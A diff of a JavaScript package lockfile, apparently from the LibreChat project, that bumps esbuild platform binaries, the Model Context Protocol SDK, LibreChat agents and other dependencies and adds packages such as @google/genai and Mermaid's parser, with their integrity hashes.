- "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.25.1", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-1MrCZs0fZa2g8E+FUo2ipw6jw5qqQiH+tERoS5fAfKnRx6NXH31tXBKI3VpmLijLH6yriMZsxJtaXUyFt/8Y4A=="],
+ "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.27.3", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-ipTYM2fjt3kQAYOvo6vcxJx3nBYAzPjgTCk7QEgZG8AUO3ydUhvelmhrbOheMnGOlaSFUoHXB6un+A7q4ygY9w=="],
- "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.25.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-0IZWLiTyz7nm0xuIs0q1Y3QWJC52R8aSXxe40VUxm6BB1RNmkODtW6LHvWRrGiICulcX7ZvyH6h5fqdLu4gkww=="],
+ "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.27.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-dDk0X87T7mI6U3K9VjWtHOXqwAMJBNN2r7bejDsc+j03SEjtD9HrOl8gVFByeM0aJksoUuUVU9TBaZa2rgj0oA=="],
- "@esbuild/linux-arm": ["@esbuild/linux-arm@0.25.1", "", { "os": "linux", "cpu": "arm" }, "sha512-NdKOhS4u7JhDKw9G3cY6sWqFcnLITn6SqivVArbzIaf3cemShqfLGHYMx8Xlm/lBit3/5d7kXvriTUGa5YViuQ=="],
+ "@esbuild/linux-arm": ["@esbuild/linux-arm@0.27.3", "", { "os": "linux", "cpu": "arm" }, "sha512-s6nPv2QkSupJwLYyfS+gwdirm0ukyTFNl3KTgZEAiJDd+iHZcbTPPcWCcRYH+WlNbwChgH2QkE9NSlNrMT8Gfw=="],
- "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.25.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-jaN3dHi0/DDPelk0nLcXRm1q7DNJpjXy7yWaWvbfkPvI+7XNSc/lDOnCLN7gzsyzgu6qSAmgSvP9oXAhP973uQ=="],
+ "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.27.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-sZOuFz/xWnZ4KH3YfFrKCf1WyPZHakVzTiqji3WDc0BCl2kBwiJLCXpzLzUBLgmp4veFZdvN5ChW4Eq/8Fc2Fg=="],
- "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.25.1", "", { "os": "linux", "cpu": "ia32" }, "sha512-OJykPaF4v8JidKNGz8c/q1lBO44sQNUQtq1KktJXdBLn1hPod5rE/Hko5ugKKZd+D2+o1a9MFGUEIUwO2YfgkQ=="],
+ "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.27.3", "", { "os": "linux", "cpu": "ia32" }, "sha512-yGlQYjdxtLdh0a3jHjuwOrxQjOZYD/C9PfdbgJJF3TIZWnm/tMd/RcNiLngiu4iwcBAOezdnSLAwQDPqTmtTYg=="],
- "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-nGfornQj4dzcq5Vp835oM/o21UMlXzn79KobKlcs3Wz9smwiifknLy4xDCLUU0BWp7b/houtdrgUz7nOGnfIYg=="],
+ "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-WO60Sn8ly3gtzhyjATDgieJNet/KqsDlX5nRC5Y3oTFcS1l0KWba+SEa9Ja1GfDqSF1z6hif/SkpQJbL63cgOA=="],
- "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-1osBbPEFYwIE5IVB/0g2X6i1qInZa1aIoj1TdL4AaAb55xIIgbg8Doq6a5BzYWgr+tEcDzYH67XVnTmUzL+nXg=="],
+ "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-APsymYA6sGcZ4pD6k+UxbDjOFSvPWyZhjaiPyl/f79xKxwTnrn5QUnXR5prvetuaSMsb4jgeHewIDCIWljrSxw=="],
- "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.25.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-/6VBJOwUf3TdTvJZ82qF3tbLuWsscd7/1w+D9LH0W/SqUgM5/JJD0lrJ1fVIfZsqB6RFmLCe0Xz3fmZc3WtyVg=="],
+ "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.27.3", "", { "os": "linux", "cpu": "ppc64" }, "sha512-eizBnTeBefojtDb9nSh4vvVQ3V9Qf9Df01PfawPcRzJH4gFSgrObw+LveUyDoKU3kxi5+9RJTCWlj4FjYXVPEA=="],
- "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-nSut/Mx5gnilhcq2yIMLMe3Wl4FK5wx/o0QuuCLMtmJn+WeWYoEGDN1ipcN72g1WHsnIbxGXd4i/MF0gTcuAjQ=="],
+ "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-3Emwh0r5wmfm3ssTWRQSyVhbOHvqegUDRd0WhmXKX2mkHJe1SFCMJhagUleMq+Uci34wLSipf8Lagt4LlpRFWQ=="],
- "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.25.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-cEECeLlJNfT8kZHqLarDBQso9a27o2Zd2AQ8USAEoGtejOrCYHNtKP8XQhMDJMtthdF4GBmjR2au3x1udADQQQ=="],
+ "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.27.3", "", { "os": "linux", "cpu": "s390x" }, "sha512-pBHUx9LzXWBc7MFIEEL0yD/ZVtNgLytvx60gES28GcWMqil8ElCYR4kvbV2BDqsHOvVDRrOxGySBM9Fcv744hw=="],
- "@esbuild/linux-x64": ["@esbuild/linux-x64@0.25.1", "", { "os": "linux", "cpu": "x64" }, "sha512-xbfUhu/gnvSEg+EGovRc+kjBAkrvtk38RlerAzQxvMzlB4fXpCFCeUAYzJvrnhFtdeyVCDANSjJvOvGYoeKzFA=="],
+ "@esbuild/linux-x64": ["@esbuild/linux-x64@0.27.3", "", { "os": "linux", "cpu": "x64" }, "sha512-Czi8yzXUWIQYAtL/2y6vogER8pvcsOsk5cpwL4Gk5nJqH5UZiVByIY8Eorm5R13gq+DQKYg0+JyQoytLQas4dA=="],
- "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.25.1", "", { "os": "none", "cpu": "arm64" }, "sha512-O96poM2XGhLtpTh+s4+nP7YCCAfb4tJNRVZHfIE7dgmax+yMP2WgMd2OecBuaATHKTHsLWHQeuaxMRnCsH8+5g=="],
+ "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.27.3", "", { "os": "none", "cpu": "arm64" }, "sha512-sDpk0RgmTCR/5HguIZa9n9u+HVKf40fbEUt+iTzSnCaGvY9kFP0YKBWZtJaraonFnqef5SlJ8/TiPAxzyS+UoA=="],
- "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.25.1", "", { "os": "none", "cpu": "x64" }, "sha512-X53z6uXip6KFXBQ+Krbx25XHV/NCbzryM6ehOAeAil7X7oa4XIq+394PWGnwaSQ2WRA0KI6PUO6hTO5zeF5ijA=="],
+ "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.27.3", "", { "os": "none", "cpu": "x64" }, "sha512-P14lFKJl/DdaE00LItAukUdZO5iqNH7+PjoBm+fLQjtxfcfFE20Xf5CrLsmZdq5LFFZzb5JMZ9grUwvtVYzjiA=="],
- "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.25.1", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-Na9T3szbXezdzM/Kfs3GcRQNjHzM6GzFBeU1/6IV/npKP5ORtp9zbQjvkDJ47s6BCgaAZnnnu/cY1x342+MvZg=="],
+ "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.27.3", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-AIcMP77AvirGbRl/UZFTq5hjXK+2wC7qFRGoHSDrZ5v5b8DK/GYpXW3CPRL53NkvDqb9D+alBiC/dV0Fb7eJcw=="],
- "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.25.1", "", { "os": "openbsd", "cpu": "x64" }, "sha512-T3H78X2h1tszfRSf+txbt5aOp/e7TAz3ptVKu9Oyir3IAOFPGV6O9c2naym5TOriy1l0nNf6a4X5UXRZSGX/dw=="],
+ "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.27.3", "", { "os": "openbsd", "cpu": "x64" }, "sha512-DnW2sRrBzA+YnE70LKqnM3P+z8vehfJWHXECbwBmH/CU51z6FiqTQTHFenPlHmo3a8UgpLyH3PT+87OViOh1AQ=="],
- "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.25.1", "", { "os": "sunos", "cpu": "x64" }, "sha512-2H3RUvcmULO7dIE5EWJH8eubZAI4xw54H1ilJnRNZdeo8dTADEZ21w6J22XBkXqGJbe0+wnNJtw3UXRoLJnFEg=="],
+ "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.27.3", "", { "os": "none", "cpu": "arm64" }, "sha512-NinAEgr/etERPTsZJ7aEZQvvg/A6IsZG/LgZy+81wON2huV7SrK3e63dU0XhyZP4RKGyTm7aOgmQk0bGp0fy2g=="],
- "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.25.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-GE7XvrdOzrb+yVKB9KsRMq+7a2U/K5Cf/8grVFRAGJmfADr/e/ODQ134RK2/eeHqYV5eQRFxb1hY7Nr15fv1NQ=="],
+ "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.27.3", "", { "os": "sunos", "cpu": "x64" }, "sha512-PanZ+nEz+eWoBJ8/f8HKxTTD172SKwdXebZ0ndd953gt1HRBbhMsaNqjTyYLGLPdoWHy4zLU7bDVJztF5f3BHA=="],
- "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.25.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-uOxSJCIcavSiT6UnBhBzE8wy3n0hOkJsBOzy7HDAuTDE++1DJMRRVCPGisULScHL+a/ZwdXPpXD3IyFKjA7K8A=="],
+ "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.27.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-B2t59lWWYrbRDw/tjiWOuzSsFh1Y/E95ofKz7rIVYSQkUYBjfSgf6oeYPNWHToFRr2zx52JKApIcAS/D5TUBnA=="],
- "@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.1", "", { "os": "win32", "cpu": "x64" }, "sha512-Y1EQdcfwMSeQN/ujR5VayLOJ1BHaK+ssyk0AEzPjC+t1lITgsnccPqFjb6V+LsTp/9Iov4ysfjxLaGJ9RPtkVg=="],
+ "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.27.3", "", { "os": "win32", "cpu": "ia32" }, "sha512-QLKSFeXNS8+tHW7tZpMtjlNb7HKau0QDpwm49u0vUp9y1WOF+PEzkU84y9GqYaAVW8aH8f3GcBck26jh54cX4Q=="],
+
+ "@esbuild/win32-x64": ["@esbuild/win32-x64@0.27.3", "", { "os": "win32", "cpu": "x64" }, "sha512-4uJGhsxuptu3OcpVAzli+/gWusVGwZZHTlS63hh++ehExkVT8SgiEf7/uC/PclrPPkLhZqGgCTjd0VWLo6xMqA=="],
"@eslint-community/eslint-utils": ["@eslint-community/eslint-utils@4.9.0", "", { "dependencies": { "eslint-visitor-keys": "^3.4.3" }, "peerDependencies": { "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" } }, "sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g=="],
@@ -1125,7 +1199,7 @@
"@eslint/core": ["@eslint/core@0.17.0", "", { "dependencies": { "@types/json-schema": "^7.0.15" } }, "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ=="],
- "@eslint/eslintrc": ["@eslint/eslintrc@3.3.1", "", { "dependencies": { "ajv": "^6.12.4", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" } }, "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ=="],
+ "@eslint/eslintrc": ["@eslint/eslintrc@3.3.5", "", { "dependencies": { "ajv": "^6.14.0", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.1", "minimatch": "^3.1.5", "strip-json-comments": "^3.1.1" } }, "sha512-4IlJx0X0qftVsN5E+/vGujTRIFtwuLbNsVUe7TO6zYPDR1O6nFwvwhIKEKSrl6dZchmYBITazxKoUYOjdtjlRg=="],
"@eslint/js": ["@eslint/js@9.39.1", "", {}, "sha512-S26Stp4zCy88tH94QbBv3XCuzRQiZ9yXofEILmglYTh/Ug/a9/umqvgFtYBAo3Lp0nsI/5/qH1CCrbdK3AP1Tw=="],
@@ -1231,17 +1305,19 @@
"@floating-ui/utils": ["@floating-ui/utils@0.2.8", "", {}, "sha512-kym7SodPp8/wloecOpcmSnWJsK7M0E5Wg8UcFA+uO4B9s5d0ywXOEro/8HM9x0rW+TljRzul/14UYz3TleT3ig=="],
- "@google/generative-ai": ["@google/generative-ai@0.24.0", "", {}, "sha512-fnEITCGEB7NdX0BhoYZ/cq/7WPZ1QS5IzJJfC3Tg/OwkvBetMiVJciyaan297OvE4B9Jg1xvo0zIazX/9sGu1Q=="],
+ "@google/genai": ["@google/genai@1.44.0", "", { "dependencies": { "google-auth-library": "^10.3.0", "p-retry": "^4.6.2", "protobufjs": "^7.5.4", "ws": "^8.18.0" }, "peerDependencies": { "@modelcontextprotocol/sdk": "^1.25.2" }, "optionalPeers": ["@modelcontextprotocol/sdk"] }, "sha512-kRt9ZtuXmz+tLlcNntN/VV4LRdpl6ZOu5B1KbfNgfR65db15O6sUQcwnwLka8sT/V6qysD93fWrgJHF2L7dA9A=="],
- "@googleapis/youtube": ["@googleapis/youtube@20.0.0", "", { "dependencies": { "googleapis-common": "^7.0.0" } }, "sha512-wdt1J0JoKYhvpoS2XIRHX0g/9ul/B0fQeeJAhuuBIdYINuuLt6/oZYZZCBmkuhtkA3IllXgqgAXOjLtLRAnR2g=="],
+ "@google/generative-ai": ["@google/generative-ai@0.24.0", "", {}, "sha512-fnEITCGEB7NdX0BhoYZ/cq/7WPZ1QS5IzJJfC3Tg/OwkvBetMiVJciyaan297OvE4B9Jg1xvo0zIazX/9sGu1Q=="],
"@grpc/grpc-js": ["@grpc/grpc-js@1.9.15", "", { "dependencies": { "@grpc/proto-loader": "^0.7.8", "@types/node": ">=12.12.47" } }, "sha512-nqE7Hc0AzI+euzUwDAy0aY5hCp10r734gMGRdU+qOPX0XSceI2ULrcXB5U2xSc5VkWwalCj4M7GzCAygZl2KoQ=="],
"@grpc/proto-loader": ["@grpc/proto-loader@0.7.13", "", { "dependencies": { "lodash.camelcase": "^4.3.0", "long": "^5.0.0", "protobufjs": "^7.2.5", "yargs": "^17.7.2" }, "bin": { "proto-loader-gen-types": "build/bin/proto-loader-gen-types.js" } }, "sha512-AiXO/bfe9bmxBjxxtYxFAXGZvMaN5s8kO+jBHAJCON8rJoB5YS/D6X7ZNc6XQkuHNmyl4CYaMI1fJ/Gn27RGGw=="],
+ "@happy-dom/jest-environment": ["@happy-dom/jest-environment@20.8.3", "", { "dependencies": { "happy-dom": "^20.8.3" }, "peerDependencies": { "@jest/environment": ">=25.0.0", "@jest/fake-timers": ">=25.0.0", "@jest/types": ">=25.0.0", "jest-mock": ">=25.0.0", "jest-util": ">=25.0.0" } }, "sha512-VMOfNvF7UPPHIc7SUrFqGXqJrkONYX6Vd0ZXblmjgb1JA2RFnrc1KiVodzG0c7IT5Q0jfA0CQjvlqWjQ/BYtkQ=="],
+
"@headlessui/react": ["@headlessui/react@2.2.4", "", { "dependencies": { "@floating-ui/react": "^0.26.16", "@react-aria/focus": "^3.20.2", "@react-aria/interactions": "^3.25.0", "@tanstack/react-virtual": "^3.13.9", "use-sync-external-store": "^1.5.0" }, "peerDependencies": { "react": "^18 || ^19 || ^19.0.0-rc", "react-dom": "^18 || ^19 || ^19.0.0-rc" } }, "sha512-lz+OGcAH1dK93rgSMzXmm1qKOJkBUqZf1L4M8TWLNplftQD3IkoEDdUFNfAn4ylsN6WOTVtWaLmvmaHOUk1dTA=="],
- "@hono/node-server": ["@hono/node-server@1.19.7", "", { "peerDependencies": { "hono": "^4" } }, "sha512-vUcD0uauS7EU2caukW8z5lJKtoGMokxNbJtBiwHgpqxEXokaHCBkQUmCHhjFB1VUTWdqj25QoMkMKzgjq+uhrw=="],
+ "@hono/node-server": ["@hono/node-server@1.19.11", "", { "peerDependencies": { "hono": "^4" } }, "sha512-dr8/3zEaB+p0D2n/IUrlPF1HZm586qgJNXK1a9fhg/PzdtkK7Ksd5l312tJX2yBuALqDYBlG20QEbayqPyxn+g=="],
"@humanfs/core": ["@humanfs/core@0.19.1", "", {}, "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA=="],
@@ -1251,6 +1327,10 @@
"@humanwhocodes/retry": ["@humanwhocodes/retry@0.4.3", "", {}, "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ=="],
+ "@iconify/types": ["@iconify/types@2.0.0", "", {}, "sha512-+wluvCrRhXrhyOmRDJ3q8mux9JkKy5SJ/v8ol2tu4FVjyYvtEzkc/3pK15ET6RKg4b4w4BmTk1+gsCUhf21Ykg=="],
+
+ "@iconify/utils": ["@iconify/utils@3.1.0", "", { "dependencies": { "@antfu/install-pkg": "^1.1.0", "@iconify/types": "^2.0.0", "mlly": "^1.8.0" } }, "sha512-Zlzem1ZXhI1iHeeERabLNzBHdOa4VhQbqAcOQaMKuTuyZCpwKbC2R4Dd0Zo3g9EAc+Y4fiarO8HIHRAth7+skw=="],
+
"@img/sharp-darwin-arm64": ["@img/sharp-darwin-arm64@0.33.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-arm64": "1.0.4" }, "os": "darwin", "cpu": "arm64" }, "sha512-UT4p+iz/2H4twwAoLCqfA9UH5pI6DggwKEGuaPy7nCVQ8ZsiY5PIcrRvD1DzuY3qYL07NtIQcWnBSY/heikIFQ=="],
"@img/sharp-darwin-x64": ["@img/sharp-darwin-x64@0.33.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-x64": "1.0.4" }, "os": "darwin", "cpu": "x64" }, "sha512-fyHac4jIc1ANYGRDxtiqelIbdWkIuQaI84Mv45KvGRRxSAa7o7d1ZKAOBaYbnepLC1WqxfpimdeWfvqqSGwR2Q=="],
@@ -1315,7 +1395,7 @@
"@jest/expect-utils": ["@jest/expect-utils@29.7.0", "", { "dependencies": { "jest-get-type": "^29.6.3" } }, "sha512-GlsNBWiFQFCVi9QVSx7f5AgMeLxe9YCCs5PuP2O2LdjDAA8Jh9eX7lA1Jq/xdXw3Wb3hyvlFNfZIfcRetSzYcA=="],
- "@jest/fake-timers": ["@jest/fake-timers@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@sinonjs/fake-timers": "^10.0.2", "@types/node": "*", "jest-message-util": "^29.7.0", "jest-mock": "^29.7.0", "jest-util": "^29.7.0" } }, "sha512-q4DH1Ha4TTFPdxLsqDXK1d3+ioSL7yL5oCMJZgDYm6i+6CygW5E5xVr/D1HdsGxjt1ZWSfUAs9OxSB/BNelWrQ=="],
+ "@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
"@jest/get-type": ["@jest/get-type@30.1.0", "", {}, "sha512-eMbZE2hUnx1WV0pmURZY9XoXPkUYjpc55mb0CrhtdWLtzMQPFvu/rZkTLZFTsdaVQa+Tr4eWAteqcUzoawq/uA=="],
@@ -1359,7 +1439,7 @@
"@langchain/aws": ["@langchain/aws@0.1.15", "", { "dependencies": { "@aws-sdk/client-bedrock-agent-runtime": "^3.755.0", "@aws-sdk/client-bedrock-runtime": "^3.840.0", "@aws-sdk/client-kendra": "^3.750.0", "@aws-sdk/credential-provider-node": "^3.750.0" }, "peerDependencies": { "@langchain/core": ">=0.3.58 <0.4.0" } }, "sha512-oyOMhTHP0rxdSCVI/g5KXYCOs9Kq/FpXMZbOk1JSIUoaIzUg4p6d98lsHu7erW//8NSaT+SX09QRbVDAgt7pNA=="],
- "@langchain/core": ["@langchain/core@0.3.79", "", { "dependencies": { "@cfworker/json-schema": "^4.0.2", "ansi-styles": "^5.0.0", "camelcase": "6", "decamelize": "1.2.0", "js-tiktoken": "^1.0.12", "langsmith": "^0.3.67", "mustache": "^4.2.0", "p-queue": "^6.6.2", "p-retry": "4", "uuid": "^10.0.0", "zod": "^3.25.32", "zod-to-json-schema": "^3.22.3" } }, "sha512-ZLAs5YMM5N2UXN3kExMglltJrKKoW7hs3KMZFlXUnD7a5DFKBYxPFMeXA4rT+uvTxuJRZPCYX0JKI5BhyAWx4A=="],
+ "@langchain/core": ["@langchain/core@0.3.80", "", { "dependencies": { "@cfworker/json-schema": "^4.0.2", "ansi-styles": "^5.0.0", "camelcase": "6", "decamelize": "1.2.0", "js-tiktoken": "^1.0.12", "langsmith": "^0.3.67", "mustache": "^4.2.0", "p-queue": "^6.6.2", "p-retry": "4", "uuid": "^10.0.0", "zod": "^3.25.32", "zod-to-json-schema": "^3.22.3" } }, "sha512-vcJDV2vk1AlCwSh3aBm/urQ1ZrlXFFBocv11bz/NBUfLWD5/UDNMzwPdaAd2dKvNmTWa9FM2lirLU3+JCf4cRA=="],
"@langchain/deepseek": ["@langchain/deepseek@0.0.2", "", { "dependencies": { "@langchain/openai": "^0.5.5" }, "peerDependencies": { "@langchain/core": ">=0.3.58 <0.4.0" } }, "sha512-u13KbPUXW7uhcybbRzYdRroBgqVUSgG0SJM15c7Etld2yjRQC2c4O/ga9eQZdLh/kaDlQfH/ZITFdjHe77RnGw=="],
@@ -1405,7 +1485,7 @@
"@lezer/lr": ["@lezer/lr@1.4.2", "", { "dependencies": { "@lezer/common": "^1.0.0" } }, "sha512-pu0K1jCIdnQ12aWNaAVU5bzi7Bd1w54J3ECgANPmYLtQKP0HBj2cE/5coBD66MT10xbtIuUr7tg0Shbsvk0mDA=="],
- "@librechat/agents": ["@librechat/agents@3.0.50", "", { "dependencies": { "@langchain/anthropic": "^0.3.26", "@langchain/aws": "^0.1.15", "@langchain/core": "^0.3.79", "@langchain/deepseek": "^0.0.2", "@langchain/google-genai": "^0.2.18", "@langchain/google-vertexai": "^0.2.18", "@langchain/langgraph": "^0.4.9", "@langchain/mistralai": "^0.2.1", "@langchain/openai": "0.5.18", "@langchain/textsplitters": "^0.1.0", "@langchain/xai": "^0.0.3", "@langfuse/langchain": "^4.3.0", "@langfuse/otel": "^4.3.0", "@langfuse/tracing": "^4.3.0", "@opentelemetry/sdk-node": "^0.207.0", "axios": "^1.12.1", "cheerio": "^1.0.0", "dotenv": "^16.4.7", "https-proxy-agent": "^7.0.6", "mathjs": "^15.1.0", "nanoid": "^3.3.7", "openai": "5.8.2" } }, "sha512-oovj3BsP/QoxPbWFAc71Ddplwd9BT8ucfYs+n+kiR37aCWtvxdvL9/XldRYfnaq9boNE324njQJyqc8v8AAPFQ=="],
+ "@librechat/agents": ["@librechat/agents@3.1.55", "", { "dependencies": { "@anthropic-ai/sdk": "^0.73.0", "@aws-sdk/client-bedrock-runtime": "^3.980.0", "@langchain/anthropic": "^0.3.26", "@langchain/aws": "^0.1.15", "@langchain/core": "^0.3.80", "@langchain/deepseek": "^0.0.2", "@langchain/google-genai": "^0.2.18", "@langchain/google-vertexai": "^0.2.18", "@langchain/langgraph": "^0.4.9", "@langchain/mistralai": "^0.2.1", "@langchain/openai": "0.5.18", "@langchain/textsplitters": "^0.1.0", "@langchain/xai": "^0.0.3", "@langfuse/langchain": "^4.3.0", "@langfuse/otel": "^4.3.0", "@langfuse/tracing": "^4.3.0", "@opentelemetry/sdk-node": "^0.207.0", "@scarf/scarf": "^1.4.0", "axios": "^1.13.5", "cheerio": "^1.0.0", "dotenv": "^16.4.7", "https-proxy-agent": "^7.0.6", "mathjs": "^15.1.0", "nanoid": "^3.3.7", "okapibm25": "^1.4.1", "openai": "5.8.2" } }, "sha512-impxeKpCDlPkAVQFWnA6u6xkxDSBR/+H8uYq7rZomBeu0rUh/OhJLiI1fAwPhKXP33udNtHA8GyDi0QJj78R9w=="],
"@librechat/api": ["@librechat/api@workspace:packages/api"],
@@ -1421,14 +1501,44 @@
"@mcp-ui/client": ["@mcp-ui/client@5.7.0", "", { "dependencies": { "@modelcontextprotocol/sdk": "*", "@quilted/threads": "^3.1.3", "@r2wc/react-to-web-component": "^2.0.4", "@remote-dom/core": "^1.8.0", "@remote-dom/react": "^1.2.2", "react": "^18.3.1", "react-dom": "^18.3.1" } }, "sha512-+HbPw3VS46WUSWmyJ34ZVnygb81QByA3luR6y0JDbyDZxjYtHw1FcIN7v9WbbE8PrfI0WcuWCSiNOO6sOGbwpQ=="],
+ "@mermaid-js/parser": ["@mermaid-js/parser@1.0.1", "", { "dependencies": { "langium": "^4.0.0" } }, "sha512-opmV19kN1JsK0T6HhhokHpcVkqKpF+x2pPDKKM2ThHtZAB5F4PROopk0amuVYK5qMrIA4erzpNm8gmPNJgMDxQ=="],
+
"@microsoft/microsoft-graph-client": ["@microsoft/microsoft-graph-client@3.0.7", "", { "dependencies": { "@babel/runtime": "^7.12.5", "tslib": "^2.2.0" } }, "sha512-/AazAV/F+HK4LIywF9C+NYHcJo038zEnWkteilcxC1FM/uK/4NVGDKGrxx7nNq1ybspAroRKT4I1FHfxQzxkUw=="],
"@mistralai/mistralai": ["@mistralai/mistralai@1.10.0", "", { "dependencies": { "zod": "^3.20.0", "zod-to-json-schema": "^3.24.1" } }, "sha512-tdIgWs4Le8vpvPiUEWne6tK0qbVc+jMenujnvTqOjogrJUsCSQhus0tHTU1avDDh5//Rq2dFgP9mWRAdIEoBqg=="],
- "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.25.0", "", { "dependencies": { "@hono/node-server": "^1.19.7", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.0.1", "express-rate-limit": "^7.5.0", "jose": "^6.1.1", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.0" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-z0Zhn/LmQ3yz91dEfd5QgS7DpSjA4pk+3z2++zKgn5L6iDFM9QapsVoAQSbKLvlrFsZk9+ru6yHHWNq2lCYJKQ=="],
+ "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.27.1", "", { "dependencies": { "@hono/node-server": "^1.19.9", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.2.1", "express-rate-limit": "^8.2.1", "hono": "^4.11.4", "jose": "^6.1.3", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-sr6GbP+4edBwFndLbM60gf07z0FQ79gaExpnsjMGePXqFcSSb7t6iscpjk9DhFhwd+mTEQrzNafGP8/iGGFYaA=="],
+
+ "@monaco-editor/loader": ["@monaco-editor/loader@1.7.0", "", { "dependencies": { "state-local": "^1.0.6" } }, "sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA=="],
+
